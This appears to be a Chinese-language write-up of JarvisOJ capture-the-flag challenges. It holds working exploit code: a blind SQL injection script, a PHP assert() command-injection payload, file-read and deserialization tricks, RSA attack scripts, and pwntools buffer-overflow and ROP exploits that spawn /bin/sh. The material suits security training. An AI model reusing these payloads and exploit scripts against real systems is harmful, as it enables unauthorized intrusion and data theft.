Web

0x00 cookie伪造-[61dctf]admin

扫描后台发现有robots.txt,内容为

  1. Disallow: /admin_s3cr3t.php

/admin_s3cr3t.php内容为

flag{hello guest}

输入发现答案不对

考虑到cookie内容,还有题目标题admin。应该是要以admin标识访问服务器。于是把admin=0改为admin=1

javarisOJ 刷题 - 图1

得到

flag{hello_admin~}

0x01 bool盲注-Simple Injection

尝试后发现页面有两种状态,用户名错误和密码错误。

测试后发现用户名可以是admin,过滤了空格。

根据两种不同状态返回值,可以在username里进行bool盲注

脚本:

import requests
password = ''
def get_data():
    result = ""
    url = 'http://web.jarvisoj.com:32787/login.php'
    payload = {
        "username":'xx',
        "password":1,
    }
    username_template = "'/**/or/**/ascii(substr((select/**/password/**/from/**/admin),{0},1))>{1}#"
    chars = '0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
    for i  in range(1,33):
        for char in chars:
            char_ascii = ord(char)
            username = username_template.format(i,char_ascii)
            payload['username'] = username
            response = requests.post(url,data=payload)
            length = len(response.text)
            # print(length)
            if length>1191:#如果返回密码错误(即用户名语句返回真)
                print(char)
                result += char
                break
        print(result)
get_data()

得到结果:

javarisOJ 刷题 - 图2

334cfb59c9d74849801d5acdcfdaadc3

md5解密后得到

您查询的字符串是“334cfb59c9d74849801d5acdcfdaadc3”,解密的结果为“eTAloCrEP”!

javarisOJ 刷题 - 图3

flag:CTF{s1mpl3_1nJ3ction_very_easy!!}

0x02 git泄露,assert注入-[61dctf]babyphp

题目连接

打开网页,发现几个页面url形如:

http://web.jarvisoj.com:32798/?page=contact

而且源码中有提示:

<!--<li ><a href="?page=flag">My secrets</a></li> -->

访问后发现无结果。

About栏目中有提示:

javarisOJ 刷题 - 图4

扫描网站根目录,发现.git泄露,用GitHacker直接下载源码。f

index.php中发现关键代码:

<?php
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

查阅官方文档,关于assert内容:

PHP 7

assert ( mixed $assertion [, Throwable $exception ] ) : bool

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。

Traditional assertions (PHP 5 and 7)

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。 assertion 是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion 表达式。 这意味着如果你传入了 boolean 的条件作为 assertion,这个条件将不会显示为断言函数的参数;在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值 FALSE 会被转换成空字符串。

所以开搞,assert("strpos('$file', '..') === false")不好当成执行。于是考虑assert("file_exists('$file')")

试了一下,

assert(“aaa”.phpinfo().”qqq”)#可以运行

assert(phpinfo())和assert(“phpinfo()”)可以运行

构造上这里讲的很清楚—————>https://blog.csdn.net/qq_42939527/article/details/100546121

因此构造

assert("file_exists('.system('ls').')");
assert("file_exists(templates/".system('ls').".php)");

assert("file_exists(''templates/' . $page . '.php'')")

http://web.jarvisoj.com:32798/?page='.system("cat templates/flag.php").'
#urlencode后为
?page=%27.system(%22cat%20templates/flag.php%22).%27

0x03 文件包含,反序列化-神盾局的秘密

打开就是一张图片,发现源码为:

<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
    #base64decode后为shield.jpg

因此考虑文件包含漏洞,后端接收到img信息后,进行base64解码。

先查看一下showimg.php

http://web.jarvisoj.com:32768//showimg.php?img=c2hvd2ltZy5waHA=

成功读取源码:

<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>

文件读取的时候,不能含有.. / \ pctf

继续翻找,发现index.php和sheld.php:

<?php 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
#sheld.php
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

反序列化漏洞

Crypto

暴力分解-midium RSA

暴力分解n

275127860351348928173285174381581152299 * 319576316814478949870590164193048041239

PCTF{256b_i5_m3dium}

rabin加密-hardRsa

n和上题一样,有点意思,运行后报错:

Traceback (most recent call last):
  File "/root/code/ctf/crypto/midiunRsa/midiunRsaSolve.py", line 20, in <module>
    d = inverse_mod(e,phi)
  File "/usr/lib/python3/dist-packages/sage/arith/misc.py", line 2086, in inverse_mod
    return Integer(a).inverse_mod(m)
  File "sage/rings/integer.pyx", line 6762, in sage.rings.integer.Integer.inverse_mod (build/cythonized/sage/rings/integer.c:40932)
ZeroDivisionError: inverse of Mod(2, 87924348264132406875276140514499937144456189488436765114374296308467862464924) does not exist

分析一下,因为de mod (phi) =1,而在这个题目中,e是phi的一个因数。

所以这题跟本就不是rsa加密。

e=2,是robin加密。robin加密挺麻烦的,会求出四个值,要自行验证。

#n=275127860351348928173285174381581152299 * 319576316814478949870590164193048041239
#核心代码:
def rabin_decrypt(c,p,q,e=2):
    mp=pow(c,(p+1)//4,p)
    mq=pow(c,(q+1)//4,q)
    yp=xgcd(p,q)[1]
    yq=xgcd(p,q)[2]
    #yp = inverse_mod(p,q)
    #yq = inverse_mod(q,p)
    r = (yp * p * mq + yq * q * mp) % n  
    rr = n - r  
    s = (yp * p * mq - yq * q * mp) % n  
    ss = n - s      
    return(long_to_bytes(r),long_to_bytes(rr),long_to_bytes(s),long_to_bytes(ss))

得到PCTF{sp3ci4l_rsa}

共模攻击-veryhardRsa

查看代码,给定一个N,然后两个不同的e。

然后读取flag.txt内容,然后中间写了几句补位的代码。最后把数据用两个不同的e进行加密并写入两个文件里。

所以补位代码都不用管。就是n相同,m相同,e不同的rsa.

from Crypto.Util.number import *
c1=……c2=……n=……e1=……e2=……
s1=xgcd(c1,c2)[1]
s2=xgcd(c1,c2)[2]
m=pow(c1,s1,n)*pow(c2,s2,n)%n
print(long_to_bytes(m))
#b'W\xd9[\x0e\x8f\xb9\xba\x8f\xab\xecn7\xb7\x1ey\x19VfA\x1c\xb9\x87\xdax\xc4\xf3\r\xf8\xb5\x15\x97\xb3\x94\xc9\xbb\x17\xc9\x1b\xa6K\xc3\xa2\x03\xa3\xb9Pl\xe9A\x9d\x1e\xd7\xad\x0f\x8a\x1b\xd3\xad\xb8\x8eH\x814&\x95l;c\xb2\x1a\xc7\x08zp\xbf\xba\xc5\xa6\xf6\x8a0S!G n\x83W\xce#\xac\x0b\x9c\x10.\xbf\xdb\xc9?U<\x81G\x1a%\x02\xeb\x03vY\xfb\xb6\x01\x91\xd1\xe4\xa5s1\xbfF6,(\xb0\x18?3\x13H\xe5\x1dO\x95\xf0@.\xf9w\xff\xaa/\x14FOd\xd3\xab\xae\x8b\xdb\x87\x80:\x84\xa4\xc3\x0fr\xeb\xba\xf2\n=*\xd2\xb6\xdf\x15 \xa8\xc5\xd1c\xdf0\xd3\xc8b\xf0\x86\x9er\xaf\xe5g\xae\xc5\x9c\xd9F\x02S\x85w\xa2i\xfd\xf6\xc1.\xd4\\\x15\x98\x9f7\xc1\x89\xa1\x9e\xe6\x0e\xc3\xaa\xfbM@\xa8/\xff\x0e\xf2\xc4\xa3\x8b\xa3"M+\x08~\x16\x8c\xf1\xd5M6\xfa\x1bS\xfa\xf0-J\xe66e\x84\xde\x02OP\x87\xda\xf6n\x9b\x99\x8f\xf7\x86\xbc\n\xf3zS\x8fkVMk\xc4\xf1\xf7\x8b\x13g\x03}\xbe\x9ex\xf6\xf62Q2\xcc|\x9a\x8dJyt\x87\xb4\x966\x05\xd4\xde\xfc\x08:\x14/\xf8"\x858\x8bH4v\x06\xe8\xd7\xd6\x0c\xda\x15\xcc\xa8\x95\xc3\xff\xe9a=\x15De\xa5\xc3k\x0e\xcf\x8aEu\xaf%Kr\x9d\xec\xf9\x15\xd7\\mad\x1b\xbc0\xbcW\xdc\x86\xb1Sg\x84\xaa\xe3jD\xc7\xef.\xff\x9f2\x14\xd1m\x7f\x11\xd5\xca\x89y\x14\xcd\x15\xe8\xeeP\x15V\xb9\xdf]\xfa\xd3\xb2\x88\xbco\xb1;\xa6m\x16\xed6\xbb\xe9\x06\x0e\xc6\x9b\xad$$\xb2\x81a\x04\xf2#N\xb2\x8cs\r]Q+\xc0b\xd0\xdb1\x95\'\xe8\xc2\x9f_\x18P%\xa3/<^_[k\x81\xf2&\xd9C\xfa\x16 \xca\xfc\x9f\n*e7>\xd6\xc6\x96K\xc4<\x10\xddyt\xde=\xac^\xab\x0e\x18\r\xcf\x0et\xf1\xd1K:~\xe6U\xca4\x88\x14\x18\xef\xff\xb5qu\xddw6\x8f\xfbb'

再看加密信息:

fo1.write(pad_even(format(encrypt1,'x')).decode('hex'))
fo2.write(pad_even(format(encrypt2,'x')).decode('hex'))

不用管,反正共模攻击

s1=xgcd(e1,e2)[1]
s2=xgcd(e1,e2)[2]
m=pow(c1,s1,n)*pow(c2,s2,n)%n
long_to_bytes(m)

PCTF{M4st3r_oF_Number_Th3ory}

多线程碰撞-extremelyhardRSA

查看以后发现e=3,n和c都非常大。首先考虑javarisOJ 刷题 - 图5#card=math&code=m%5E3%3DkN%2Bc%28%E5%85%B6%E4%B8%ADk%E8%8C%83%E5%9B%B4%E6%AF%94%E8%BE%83%E5%B0%8F%29)。试了一下发现碰撞不出来。

因为e!==2,所以也不是rabin攻击。

最后搜了一下,竟然解法就是一开始的kN暴力撞

学到了多线程的用法:

from Crypto.Util.number import *
import multiprocessing
def brute(i,j):
    for k in range(i,j):
        m3 = k*n + c
        if m3.nth_root(3,1)[1]==1:
            m = m3.nth_root(3,1)[0]
            print(k)
            print(long_to_bytes(m))
            break
size=[]
for i in range(10):
    size.append(i*15000000)
print(size)
for i in range(1, 10):
    p = multiprocessing.Process(target = brute, args = (size[i-1],size[i]))
    p.start()
#k=118719488
#b"Didn't you know RSA padding is really important? Now you see a non-padding message is so dangerous. And you should notice this in future.Fl4g: PCTF{Sm4ll_3xpon3nt_i5_W3ak}\n"

pwn

level0

首先chmod 777和checksec

javarisOJ 刷题 - 图6

发现是64位,放到ida64里分析:

javarisOJ 刷题 - 图7

main中有一个函数调用了read,同时有一个后门函数:

int callsystem()      //记下地址0000000000400596
{
  return system("/bin/sh");
}

然后开始pwn。

dbg level0

b main

start

然后用n和s指令一步一步调试

找到位置以后查看stack

javarisOJ 刷题 - 图8

可以看到原来的rip指令存储在rbp下面一行,也就是0x7fffffffdfa8

和输入字符串存储位置0x7fffffffdf20相差136

javarisOJ 刷题 - 图9

我们需要指向的位置callsystem地址0000000000400596,所以构造payload = b’A’*136 + p64(0x0000000000400596)

from pwn import *
io = process("./level0")
io.recv()
payload = b'a'*136 + p64(0x400596)
io.sendline(payload)
io.interactive()

我怎么看脚本都没问题,但是就是无法getshell,上网看了一圈,可能真的是环境和题目的问题:

javarisOJ 刷题 - 图10

放到kali里可以正常getshell。浪费了好久

javarisOJ 刷题 - 图11

level1

checksec发现是32位,放入ida查看,关键代码如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}
ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  printf("What's this:%p?\n", &buf); //0804848E
  return read(0, &buf, 0x100u); //080484AC 09C call    _read
}

这个read存在栈溢出漏洞。

距离0x88+0x04,gdb里调试一下,也是140

javarisOJ 刷题 - 图12

0xd18c - 0xd100=140

但是没有这个所以利用pwntool的asm(shellcraft.sh())插入一段获得shellcodde的代码,结构如图

javarisOJ 刷题 - 图13

from pwn import *
io = process("./level1")
context.log_level="debug"
io.recv()
get_shell = asm(shellcraft.sh()) #pwntool自带的生成shell的命令
recvaddr = io.recvline()[14:-2] #最后两位是换行符
payload = b'a'*(0x88+0x04-len(get_shell)) + get_shell + p32(int(recvaddr,16))  #尤其需要注意这个把addr转成16进制!!
io.sendline(payload)
io.interactive()

addr截取的是字符串,要通过int(addr,16)转成十六进制,否则会报错:

struct.error: required argument is not an integer

javarisOJ 刷题 - 图14

level2

关键代码和上题差不多,区别在于这一次不回显buff的地址:

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  system("echo Input:");
  return read(0, &buf, 0x100u);
}

buff空出来的位置一样是0x88+0x04,与上题对比,就少了一个可以定位的基地址address

javarisOJ 刷题 - 图15

记录一下,/bin/sh地址是0804A024

system地址08048320

调用system、bin/sh就可以getshell了

因为32位的题在system函数调用之后会有有一个返回地址,所以我们在p32(system)之后还要再p32(0)或者“aaaa”(输入四个垃圾字符),最后再将binsh的地址打包上去

from pwn import *
io = process("./level2")
context.log_level="debug"
io.recv()
systemcode = 0x08048320#system地址
binsh = 0x0804A024#binsh_addr
payload = b'a'*(0x88+0x04) + p32(systemcode) + p32(0) + p32(binsh)  
#借用一下网上的解释
# 这四个字节是 system() 的返回地址 , 
# 其实这里我们是利用栈溢出模拟了一个函数调用的过程
# 在正常函数调用的时候 , x86-32位 架构下 , 首先对函数的参数压栈(从右至左)
# 然后将函数的返回地址压栈 , 最后程序跳转到函数的第一条指令进行执行
# 这里我们就是模拟了这里过程
# 也就是说执行完 system("/bin/sh") 之后 , 
# CPU 会从栈上取出这里的值并设置 eip 为这个值 , 
# 由于我们这里的目的只是单纯拿到 shell , 
# 因此我们并不需要去理会 system 执行完后程序会如何执行
# 如果做的更完美一点的话 , 可以将其设置为 exit() 函数的地址 , 这样程序就会执行 exit 函数
# 也就是从栈上再取出 exit 函数的参数 , 然后退出
# 或者将其设置为 _start 函数的地址 , 这样就相当于将程序重新运行了一遍
io.sendline(payload)
io.interactive()

成功pwn

javarisOJ 刷题 - 图16

level2x64

上一题的64位版本,偏移量

javarisOJ 刷题 - 图17

javarisOJ 刷题 - 图18

0x80+0x08(其中0x8是返回值r的内存区间)

system:00000000004004C0

/bin/sh:0000000000600A90

引用一下别人的解释

首先 read() 函数存在缓冲区溢出漏洞
这个程序是 : 64 位程序 , 函数调用时参数并不是像 32 位程序那样全部存放在栈中
而是这样 : 
如果函数的参数数量小于 6 , 则从左至右依次存放在寄存器 : 
rdi, rsi, rdx, rcx, r8, r9
如果大于 6 , 那么多出来的参数按照从右至左的顺序依次压栈
详情请参考文章末尾的参考链接
我们这里需要构造 system("/bin/sh") 的调用栈
因此需要使用到寄存器传参 , 根据 rop 的思想 : 
需要首先在可执行程序(或者该程序的动态连接库)中寻找 pop rdi; ret 这两条汇编指令的机器码
可以利用 ropper 在可执行程序中寻找 : 
ropper -f level2_x64 --search "pop|rdi|ret|"
找到一个可用的 : 
0x00000000000006b3: pop rdi; ret;
然后就可以构造 payload
payload =  junk + fake + pop_rdi_ret_address + bin_sh_address + system_address
该题目中在数据段已经给了 "/bin/sh" 的字符串 , 我们只需要使用即可

javarisOJ 刷题 - 图19

pop rdi;ret:0x00000000004006b3

所以payload = b’A’*(0x80+0x08) + p64(return) + p64(pop_rdi) + p64(binsh) + p64(system)

脚本如下:

from pwn import *
io = process("./level2_x64")
#debug模式
context.log_level="debug"
io.recv()
#system地址
systemcode = 0x00000000004004C0
#bin/sh地址
binsh = 0x0000000000600A90
#pop rdi;ret地址
pop_rdi = 0x00000000004006b3
payload = b'a'*(0x80+0x08) + p64(pop_rdi) + p64(binsh) + p64(systemcode)
io.sendline(payload)
io.interactive()

javarisOJ 刷题 - 图20

ret2libc1

IDA中核心代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(&s);
  return 0;
}

寻找/bin/sh:0x08048720

rodata:08048720 aBinSh          db '/bin/sh',0          ; DATA XREF: .data:shell↓o

寻找system:0x08048460

javarisOJ 刷题 - 图21

.plt:08048460
.plt:08048460
.plt:08048460 ; Attributes: thunk
.plt:08048460
.plt:08048460 ; int system(const char *command)
.plt:08048460 _system proc near
.plt:08048460
.plt:08048460 command= dword ptr  4
.plt:08048460
.plt:08048460 jmp     ds:off_804A018
.plt:08048460 _system endp
.plt:08048460

程序预留的空间(0xd89c-0xd82c=0x70=112):

javarisOJ 刷题 - 图22

纯粹ida分析,本来我以为是-0x64到+0x04之间的,但是试了一下不对,调试发现是0x70。那就是-0x64到argc这条。

0x64+0x08=0x70

-00000066                 db ? ; undefined
-00000065                 db ? ; undefined
-00000064 s               db ?                  ;这一条是参数开始位置
-00000063                 db ? ; undefined
-00000062                 db ? ; undefined
……………………………………
……………………………………
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 argc            dd ?                 ;这一条是最后一个位置     
+0000000C argv            dd ?                    ; offset
+00000010 envp            dd ?                    ; offset

知道了system、/bin/sh、buff大小,就可以写脚本了。注意到前面提到过的知识点,32位程序传参是从右到左,而且sysytem后面一行需要放return数据基本就没问题了。

from pwn import *
io = process("./ret2libc1")
#debug模式
context.log_level="debug"
io.recv()
#system地址
systemcode = 0x08048460
#bin/sh地址
binsh = 0x08048720
payload = b'a'*(0x70) + p32(systemcode) + p32(0) + p32(binsh) #注意32位程序调用后直接接return值,然后才是参数的值。所以填充了p32(0)
io.sendline(payload)
io.interactive()

成功pwn

javarisOJ 刷题 - 图23

level3

写的深入浅出的题解

buf长度0x88+0x04=0x8c=140

-00000088 buf             db ?
-00000087                 db ? ; undefined
-00000086                 db ? ; undefined
-00000085                 db ? ; undefined
………………
………………
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008
+00000008 ; end of stack variables

但是没有system函数也没有bin/sh,nop关闭了,也无法直接把getshll写入内存执行。

ret2libc:return to libc

涉及到一个got表和plt表

为了更好的用户体验和内存CPU的利用率,程序编译时会采用两种表进行辅助,一个为PLT表,一个为GOT表,PLT表可以称为内部函数表,GOT表为全局函数表(也可以说是动态函数表这是个人自称),这两个表是相对应的,什么叫做相对应呢,PLT表中的数据就是GOT表中的一个地址,可以理解为一定是一一对应的,如下图:

javarisOJ 刷题 - 图24

write地址08048340

首先要获得 write 和 system 的相对位置,由于库文件本质上是一个位置无关的 elf (你甚至可以运行它),所以可以使用 readelf 工具来查看它的信息,readelf 有一个选项 -s 可用于输出符号表,结合 grep 工具和管道可以用来查找两个函数的位置,具体命令为 readelf -s libc_32.so.6|grep 函数名 ,运行两次命令,函数名分别换成 write 和 system,在输出中寻找 write@@GLIBC_2.0 和 system@@GLIBC_2.0 ,用 system 的第二列减掉 write 的第二列得到相对位置 -0x99a80

或者也可以使用 pwntools ,运行如下脚本来获得同样的值

from pwn import *
elf = ELF(libc_32.so.6 相对于 py 文件的位置)
print(hex(elf.symbols['system']-elf.symbols['write']))

理由同第 1 点,这里不再做解释
然后要获得字符串 “/bin/sh” 相对于 write 的位置,可以使用 strings 工具来执行 strings -at x libc_32.so.6|grep /bin/sh 来获得字符串的地址,或者使用 ROPgadget 工具来执行 ROPgadget —binary libc_32.so.6 —string “/bin/sh” 命令,两个工具的使用方式这里不做介绍;拿到地址后,减掉 write 的地址获得相对位置 0x84c6b

如前所述,我们将会通过 got 来获得 write 的地址,并通过 plt 来调用它,所以针对前面的栈溢出漏洞可以构造 payload 为 b’0’*0x8c+p32(elf.plt[‘write’])+b’0000’+p32(1)+p32(elf.got[‘write’])+p32(10)

这样就调用了 write 来输出它的地址,其中从 p32(1) 开始为 write 的三个参数

javarisOJ 刷题 - 图25

javarisOJ 刷题 - 图26

/bin/sh地址:0x00162d4c

hex(libc.symbols[‘write’]) ‘0xdd460’
hex(libc.symbols[‘system’]) ‘0x40310’

system = write + (symbol -write)<—-地址差(-0x9d150)

同理,/bin/sh = write +(binsh - write )<——地址差(0x858ec)

然后找到运行时write地址就可以成功找到binsh和system地址了.

write函数调用了三个参数,

ssize_t write(int fd,const void*buf,size_t count);
参数说明:
fd:是文件描述符(输出到command line,就是1)
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数

32位里参数是从右到左压入的,第二个参数是我们需要的输出内容。因此为了执行write压入参数数据如下:

elf = EFL('./level3')
payload = junkdata + elf.plt['write'] + p32(0) +p32(1) + p32(elf.got['write']) + p32(1)
#分析一下,junkdata占用前面的buff位置,plt调用write执行函数,p32(0)是32位程序的return值,函数执行结束以后系统将执行返回值指向的指令(即eip=return)。后面三个是write的三个参数。其中p32(elf.got['write'])放在会显示的位置,打印出write在libc里的位置。